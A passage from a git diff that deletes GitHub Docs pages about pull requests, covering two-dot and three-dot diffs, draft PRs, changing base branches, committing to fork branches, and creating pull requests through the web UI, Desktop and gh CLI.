(`git diff A..B`) and three-dot (`git diff A...B`). Pull requests on {% data variables.product.prodname_dotcom %} show a three-dot diff. - -### Three-dot Git diff comparison - -The three-dot comparison shows the difference between the latest common commit of both branches (merge base) and the most recent version of the topic branch. - -### Two-dot Git diff comparison - -The two-dot comparison shows the difference between the latest state of the base branch (for example, `main`) and the most recent version of the topic branch. - -To see two committish references in a two-dot diff comparison on {% data variables.product.prodname_dotcom %}, you can edit the URL of your repository's "Comparing changes" page. For more information, see the [Git Glossary for "committish"](https://git-scm.com/docs/gitglossary#gitglossary-aiddefcommit-ishacommit-ishalsocommittish) from the _Pro Git_ book site. - -{% data reusables.repositories.two-dot-diff-comparison-example-urls %} - -A two-dot diff compares two Git committish references, such as SHAs or OIDs (Object IDs), directly with each other. On {% data variables.product.prodname_dotcom %}, the Git committish references in a two-dot diff comparison must be pushed to the same repository or its forks. - -If you want to simulate a two-dot diff in a pull request and see a comparison between the most recent versions of each branch, you can merge the base branch into your topic branch, which updates the last common ancestor between your branches. - -For more information about Git commands to compare changes, see [Git diff options](https://git-scm.com/docs/git-diff#git-diff-emgitdiffemltoptionsgtltcommitgtltcommitgt--ltpathgt82308203) from the _Pro Git_ book site. - -## About three-dot comparison on {% data variables.product.prodname_dotcom %} - -Since the three-dot comparison compares with the merge base, it is focusing on "what a pull request introduces." - -When you use a two-dot comparison, the diff changes when the base branch is updated, even if you haven't made any changes to the topic branch. Additionally, a two-dot comparison focuses on the base branch. This means that anything you add is displayed as missing from the base branch, as if it was a deletion, and vice versa. As a result, the changes the topic branch introduces become ambiguous. - -In contrast, by comparing the branches using the three-dot comparison, changes in the topic branch are always in the diff if the base branch is updated, because the diff shows all of the changes since the branches diverged. - -### Merging often - -To avoid getting confused, merge the base branch (for example, `main`) into your topic branch frequently. By merging the base branch, the diffs shown by two-dot and three-dot comparisons are the same. We recommend merging a pull request as soon as possible. This encourages contributors to make pull requests smaller, which is recommended in general. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md deleted file mode 100644 index 90e44346c8cf..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: About pull requests -intro: 'Learn about pull requests and draft pull requests on {% data variables.product.github %}. Pull requests communicate changes to a branch in a repository. Once a pull request is opened, you can review changes with collaborators and add follow-up commits.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests - - /articles/using-pull-requests - - /articles/about-pull-requests - - /github/collaborating-with-issues-and-pull-requests/about-pull-requests - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -## About pull requests - -A pull request is a proposal to merge a set of changes from one branch into another. In a pull request, collaborators can review and discuss the proposed set of changes before they integrate the changes into the main codebase. Pull requests display the differences, or diffs, between the content in the source branch and the content in the target branch. - -> [!NOTE] -> When working with pull requests, keep the following in mind: -> * If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes. -> * Be very careful when force pushing commits to a pull request. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on. - -You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}{% ifversion fpt or ghec %}, in {% data variables.product.prodname_github_codespaces %}{% endif %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI. - -After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - -Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab. - -Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request. {% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %} - -{% ifversion fpt or ghec %} -You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. See [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository). -{% endif %} - -After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). - -{% data reusables.pull_requests.required-checks-must-pass-to-merge %} - -{% data reusables.pull_requests.close-issues-using-keywords %} - -> [!TIP] -> * To toggle between collapsing and expanding all outdated review comments in a pull request, hold down OptionAltAlt and click **Show outdated** or **Hide outdated**. For more shortcuts, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts). -> * You can squash commits when merging a pull request to gain a more streamlined view of changes. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - -You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard). - -## Draft pull requests - -{% data reusables.gated-features.draft-prs %} - -When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). - -{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request). - -## Differences between commits on compare and pull request pages - -The compare and pull request pages use different methods to calculate the diff for changed files: - -* Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref. -* Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different. - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#pull-request) in the {% data variables.product.prodname_dotcom %} glossary -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md deleted file mode 100644 index c454dd27bf2a..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Changing the base branch of a pull request -intro: 'After a pull request is opened, you can change the base branch to compare the changes in the pull request against a different branch.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request - - /articles/changing-the-base-branch-of-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/changing-the-base-branch-of-a-pull-request - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Change the base branch ---- - -> [!WARNING] -> When you change the base branch of your pull request, some commits may be removed from the timeline. Review comments may also become outdated, as the line of code that the comment referenced may no longer be part of the changes in the pull request. - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to modify. -1. Next to the pull request's title, click **Edit**. - - ![Screenshot of a pull request title. A button labeled "Edit" is outlined in dark orange.](/assets/images/help/pull_requests/pull-request-edit.png) - -1. In the base branch drop-down menu, select the base branch you'd like to [compare changes against](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits#comparing-branches). - - ![Screenshot of a pull request title. The dropdown to change the base branch is outlined in dark orange.](/assets/images/help/pull_requests/pull-request-edit-base-branch.png) - -1. Read the information about changing the base branch and click **Change base**. - -> [!TIP] -> When you open a pull request, {% data variables.product.github %} will set the base to the commit that branch references. If the branch is updated in the future, {% data variables.product.github %} will not update the base branch's commit. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md deleted file mode 100644 index 2a20284e0907..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Changing the stage of a pull request -intro: You can mark a draft pull request as ready for review or convert a pull request to a draft. -permissions: People with write permissions to a repository and pull request authors can change the stage of a pull request. -product: '{% data reusables.gated-features.draft-prs %}' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request - - /articles/changing-the-stage-of-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Change the state ---- -## Marking a pull request as ready for review - -{% data reusables.pull_requests.mark-ready-review %} - -> [!TIP] -> You can also mark a pull request as ready for review using the {% data variables.product.prodname_cli %}. For more information, see [`gh pr ready`](https://cli.github.com/manual/gh_pr_ready) in the {% data variables.product.prodname_cli %} documentation. - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull requests" list, click the pull request you'd like to mark as ready for review. -1. In the merge box, click **Ready for review**. - - ![Screenshot of the merge box in a pull request. The "Ready for review" button is outlined in dark orange.](/assets/images/help/pull_requests/ready-for-review-button.png) - -## Converting a pull request to a draft - -You can convert a pull request to a draft at any time. For example, if you accidentally opened a pull request instead of a draft, or if you've received feedback on your pull request that needs to be addressed, you can convert the pull request to a draft to indicate further changes are needed. No one can merge the pull request until you mark the pull request as ready for review again. People who are already subscribed to notifications for the pull request will not be unsubscribed when you convert the pull request to a draft. - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull requests" list, click the pull request you'd like to convert to a draft. -1. In the right sidebar, under "Reviewers," click **Convert to draft**. - - ![Screenshot of the "Reviewers" section in the right sidebar of a pull request. The "Convert to draft" link is outlined in dark orange.](/assets/images/help/pull_requests/convert-to-draft-link.png) - -1. Click **Convert to draft**. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md deleted file mode 100644 index 72a713400d4c..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Committing changes to a pull request branch created from a fork -intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork - - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork - - /github/collaborating-with-issues-and-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Commit to PR branch from fork ---- -You can only make commits on pull request branches that: -* Are opened in a repository that you have push access to and that were created from a fork of that repository -* Are on a user-owned fork -* Have permission granted from the pull request creator -* Don't have [branch restrictions](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing - -Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork). - -> [!NOTE] -> You can also make commits to a pull request branch from a fork of your repository through {% data variables.location.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). - -1. On {% data variables.product.github %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created. -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} - - > [!TIP] - > If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository#cloning-a-repository-to-github-desktop). - -1. Change the current working directory to the location where you want to download the cloned directory. - - ```shell - cd open-source-projects - ``` - -1. Type `git clone`, and then paste the URL you copied in Step 3. - - ```shell - git clone https://{% data variables.product.product_url %}/USERNAME/FORK-OF-THE-REPOSITORY - ``` - -1. Press **Enter**. Your local clone will be created. - - ```shell - $ git clone https://{% data variables.product.product_url %}/USERNAME/FORK-OF-THE-REPOSITORY - > Cloning into `FORK-OF-THE-REPOSITORY`... - > remote: Counting objects: 10, done. - > remote: Compressing objects: 100% (8/8), done. - > remove: Total 10 (delta 1), reused 10 (delta 1) - > Unpacking objects: 100% (10/10), done. - ``` - - > [!TIP] - > The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory. - -1. Navigate into your new cloned repository. - - ```shell - cd FORK-OF-THE-REPOSITORY - ``` - -1. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request. - - In this example, the compare branch is `test-branch`: - - ```shell - git checkout TEST-BRANCH - ``` - - > [!TIP] - > For more information about pull request branches, including examples, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request#changing-the-branch-range-and-destination-repository). - -1. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like. -1. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`: - - ```shell - $ git push origin test-branch - > Counting objects: 32, done. - > Delta compression using up to 8 threads. - > Compressing objects: 100% (26/26), done. - > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done. - > Total 29 (delta 8), reused 0 (delta 0) - > To https://{% data variables.product.product_url %}/USERNAME/FORK-OF-THE-REPOSITORY.git - > 12da2e9..250e946 TEST-BRANCH -> TEST-BRANCH - ``` - -Your new commits will be reflected on the original pull request on {% data variables.location.product_location %}. - -## Further Reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md deleted file mode 100644 index c38db124b379..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Creating a pull request from a fork -intro: You can create a pull request to propose changes you've made to a fork of an upstream repository. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork - - /articles/creating-a-pull-request-from-a-fork - - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork -permissions: 'Anyone with write access to a repository can create a pull request from a user-owned fork. {% data reusables.enterprise-accounts.emu-permission-propose %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Create a PR from a fork ---- -If your pull request compares your topic branch with a branch in the upstream repository as the base branch, then your topic branch is also called the "compare branch" of the pull request. - -For example: -* Your topic branch (also known as “feature branch”) is the branch where you’re making your changes in your forked repository (e.g. `my-topic-branch`). -* The base branch is the branch in the upstream (central) repository that you want to merge your changes into (e.g. `main`). -* The pull request compares the changes proposed by the topic branch (`my-topic-branch`) with the base branch (`main`), so `my-topic-branch` is known as the “compare branch”. - -For more information about pull request branches, including examples, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request#changing-the-branch-range-and-destination-repository). - -{% data reusables.pull_requests.perms-to-open-pull-request %} - -1. Navigate to the original repository where you created your fork. -{% data reusables.repositories.new-pull-request %} -1. On the page to create a new pull request, click **compare across forks**. - - ![Screenshot of the page to open a pull request. The "compare across forks" link is outlined in dark orange.](/assets/images/help/pull_requests/compare-across-forks-link.png) - -1. In the "base branch" dropdown menu, select the branch of the upstream repository you'd like to merge changes into. - - ![Screenshot of the page to open a new pull request. The dropdown menus for choosing the base repository and branch are outlined in dark orange.](/assets/images/help/pull_requests/choose-base-fork-and-branch.png) - -1. In the "head fork" dropdown menu, select your fork, then use the "compare branch" drop-down menu to select the branch you made your changes in. - - ![Screenshot of the page to open a new pull request. The dropdown menus for choosing the head repository and compare branch are outlined in dark orange.](/assets/images/help/pull_requests/choose-head-fork-compare-branch.png) - -{% data reusables.repositories.pr-title-description %} -{% data reusables.repositories.allow-maintainers-user-forks %} - -{% data reusables.repositories.create-pull-request %} - -{% data reusables.repositories.asking-for-review %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md deleted file mode 100644 index 6e8ccc8d918d..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Creating a pull request -intro: 'Create a pull request to propose and collaborate on changes to a repository. These changes are proposed in a *branch*, which ensures that the default branch only contains finished and approved work.' -permissions: 'Anyone with read access to a repository can create a pull request. {% data reusables.enterprise-accounts.emu-permission-propose %}' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request - - /articles/creating-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/creating-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -If you want to create a new branch for your pull request and do not have write permissions to the repository, you can fork the repository first. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -You can specify which branch you'd like to merge your changes into when you create your pull request. Pull requests can only be opened between two branches that are different. - -{% data reusables.pull_requests.perms-to-open-pull-request %} - -{% data reusables.pull_requests.close-issues-using-keywords %} - -## Changing the branch range and destination repository - -By default, pull requests are based on the parent repository's default branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -If the default parent repository isn't correct, you can change both the parent repository and the branch with the drop-down lists. You can also swap your head and base branches with the drop-down lists to establish diffs between reference points. References here must be branch names in your GitHub repository. - -![Screenshot of a pull request. The dropdown to edit the compare branch is expanded.](/assets/images/help/pull_requests/pull-request-review-edit-branch.png) - -When thinking about branches, remember that the _base branch_ is **where** changes should be applied, the _head branch_ contains **what** you would like to be applied. - -When you change the base repository, you also change notifications for the pull request. Everyone that can push to the base repository will receive an email notification and see the new pull request in their dashboard the next time they sign in. - -When you change any of the information in the branch range, the Commit and Files changed preview areas will update to show your new range. - -> [!TIP] -> * Using the compare view, you can set up comparisons across any timeframe. For more information, see [AUTOTITLE](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits). -> * Project maintainers can add a pull request template for a repository. Templates include prompts for information in the body of a pull request. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). - -## Creating the pull request - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -1. In the "Branch" menu, choose the branch that contains your commits. - - ![Screenshot of the branch dropdown menu on the main page of a repository.](/assets/images/help/pull_requests/branch-dropdown.png) - -{% data reusables.repositories.new-pull-request %} -1. Use the _base_ branch dropdown menu to select the branch you'd like to merge your changes into, then use the _compare_ branch drop-down menu to choose the topic branch you made your changes in. -{% data reusables.repositories.pr-title-description %} -{% data reusables.repositories.create-pull-request %} - -{% data reusables.repositories.asking-for-review %} - -After your pull request has been reviewed, it can be [merged into the repository](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To create a pull request, use the `gh pr create` subcommand. - -```shell -gh pr create -``` - -To assign a pull request to an individual, use the `--assignee` or `-a` flags. You can use `@me` to self-assign the pull request. - -```shell -gh pr create --assignee "@octocat" -``` - -To specify the branch into which you want the pull request merged, use the `--base` or `-B` flags. To specify the branch that contains commits for your pull request, use the `--head` or `-H` flags. - -```shell -gh pr create --base my-base-branch --head my-changed-branch -``` - -To include a title and body for the new pull request, use the `--title` and `--body` flags. - -```shell -gh pr create --title "The bug is fixed" --body "Everything works again" -``` - -To mark a pull request as a draft, use the `--draft` flag. - -```shell -gh pr create --draft -``` - -To add a labels or milestones to the new pull request, use the `--label` and `--milestone` flags. - -```shell -gh pr create --label "bug,help wanted" --milestone octocat-milestone -``` - -To add the new pull request to a specific project, use the `--project` flag. - -```shell -gh pr create --project octocat-project -``` - -To assign an individual or team as reviewers, use the `--reviewer` flag. - -```shell -gh pr create --reviewer monalisa,hubot --reviewer myorg/team-name -``` - -To create the pull request in your default web browser, use the `--web` flag. - -```shell -gh pr create --web -``` - -{% endcli %} - -{% desktop %} - -1. Click **Preview Pull Request**. {% data variables.product.prodname_desktop %} will open a preview dialog showing the diff of the changes between your current branch and the base branch. - - {% mac %} - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/mac-preview-pull-request.png) - - {% endmac %} - - {% windows %} - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/windows-preview-pull-request.png) - - {% endwindows %} - - Alternatively, to go straight to {% data variables.product.prodname_dotcom %} to create your pull request, select the dropdown icon and click **Create Pull Request**. - -1. Confirm that the branch in the **base:** dropdown menu is the branch where you want to merge your changes. - - ![Screenshot of the "Open a Pull Request" dialog window. A button with a dropdown icon, labeled "base: development", is outlined in orange.](/assets/images/help/desktop/base-branch-selection.png) - - {% data variables.product.prodname_desktop %} will advise you whether the current branch can be automatically merged into the base branch. - - ![Screenshot of the "Open a Pull Request" dialog window. A status label stating "Can't automatically merge" is highlighted with an orange outline.](/assets/images/help/desktop/preview-dialog-merge-status.png) - -1. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}. -{% data reusables.repositories.pr-title-description %} -{% data reusables.repositories.create-pull-request %} - -{% enddesktop %} - -{% ifversion fpt or ghec %} - -{% codespaces %} - -1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon. -![Screenshot of the top of the "Source Control" side bar. The pull request icon is highlighted with a dark orange outline.](/assets/images/help/codespaces/codespaces-commit-pr-button.png) -1. Check that the local branch and repository you're merging from, and the remote branch and repository you're merging into, are correct. Then give the pull request a title and a description. -![Screenshot of the "{% data variables.product.prodname_dotcom %} Pull Request" side bar with a form for creating a pull request, including "Title" and "Description" fields.](/assets/images/help/codespaces/codespaces-commit-pr.png) -1. Click **Create**. - -For more information on creating pull requests in {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests). - -{% endcodespaces %} - -{% endif %} - -## Making changes to files in your pull request - -After you have opened your pull request, you can continue making changes to the files by adding new commits to your head branch. - -{% webui %} - -You can also make changes to files on the {% data variables.product.github %} website. - -1. On {% data variables.product.github %}, navigate to a pull request in a repository. -{% data reusables.repositories.changed-files %} -1. Scroll down to the file you want to make changes to. - * If the pull request has a lot of files, you can use the filter to locate the file. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request). -1. Above the file you want to change, click {% octicon "kebab-horizontal" aria-label="Show options" %}. - ![Screenshot of the options above a file on the "File changed" tab. The "Show options" button is highlighted with an orange rectangle.](/assets/images/help/pull_requests/menu-on-pull-request-file.png) -1. In the menu, click **Edit file**. -1. Make your changes in the editor and when committing your change, choose to commit directly back to your head branch. - -{% ifversion copilot-hadron %} - -If you are part of the {% data variables.release-phases.public_preview %} of {% data variables.product.prodname_copilot_workspace %}, clicking **Edit** on a file on the "Files changed" tab will open the file in a {% data variables.product.prodname_copilot_workspace %} on {% data variables.product.prodname_dotcom %}. In a {% data variables.product.prodname_copilot_workspace %}, you can still make changes to the file but also make changes to other files in the repository, group your changes into a single commit, and take advantage of {% data variables.product.prodname_copilot_short %} code completion. - -You can access {% data variables.product.prodname_copilot_workspace %} by choosing to edit an individual file or by clicking **Open in {% data variables.product.prodname_copilot_workspace_short %}** in your pull request's right sidebar. For more information about {% data variables.product.prodname_copilot_workspace %} and joining the {% data variables.release-phases.public_preview %}, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -{% endif %} - -{% endwebui %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request){% ifversion projects-v1 %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar){% endif %} -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users) -* [AUTOTITLE](/get-started/writing-on-github) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md deleted file mode 100644 index 80f09a63c1ef..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Creating and deleting branches within your repository -intro: 'You can create or delete branches directly on {% data variables.product.github %}.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository - - /articles/deleting-branches-in-a-pull-request - - /articles/creating-and-deleting-branches-within-your-repository - - /github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository -versions: - 